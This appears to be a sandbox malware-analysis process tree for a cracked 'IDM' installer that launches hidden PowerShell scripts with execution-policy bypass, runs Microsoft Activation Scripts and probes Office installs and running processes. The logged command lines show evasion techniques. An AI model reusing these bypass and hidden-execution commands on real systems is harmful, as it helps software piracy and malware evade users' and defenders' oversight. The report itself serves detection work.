C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Minimized -File "C:\Users\Admin\AppData\Local\Temp\\MASAIO.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\MAS_AIO_WIN.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo CMD is working"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd" -el "4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /c ""C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd" -el re1"5⤵
- Executes a command shell one-liner
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el " "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV26⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "6⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd6⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "7⤵
-
-
C:\Windows\System32\cmd.execmd7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd" "6⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"6⤵
-
-
C:\Windows\System32\fltMC.exefltmc6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\mode.commode con7⤵
-
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit6⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 0 /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd" -el -qedit"6⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
-
C:\Windows\System32\sc.exesc query Null7⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"7⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver7⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV27⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "7⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "8⤵
-
-
C:\Windows\System32\cmd.execmd8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd" "7⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"7⤵
-
-
C:\Windows\System32\fltMC.exefltmc7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con7⤵
-
C:\Windows\System32\mode.commode con8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 activated.win7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 activated.win8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 updatecheck312.activated.win7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 updatecheck312.activated.win8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/S"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop7⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop8⤵
-
-
-
C:\Windows\System32\mode.commode 76, 347⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345678EH0 /N7⤵
-
-
C:\Windows\System32\mode.commode 76, 257⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c tasklist | findstr /I ".exe" 2>nul7⤵
-
C:\Windows\System32\tasklist.exetasklist8⤵
- Discovers running processes
-
-
C:\Windows\System32\findstr.exefindstr /I ".exe"8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-msaccess.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-excel.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-groove.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-lync.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-onenote.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-outlook.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-powerpnt.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-winproj.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-mspub.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-visio.exe-"7⤵
-
-
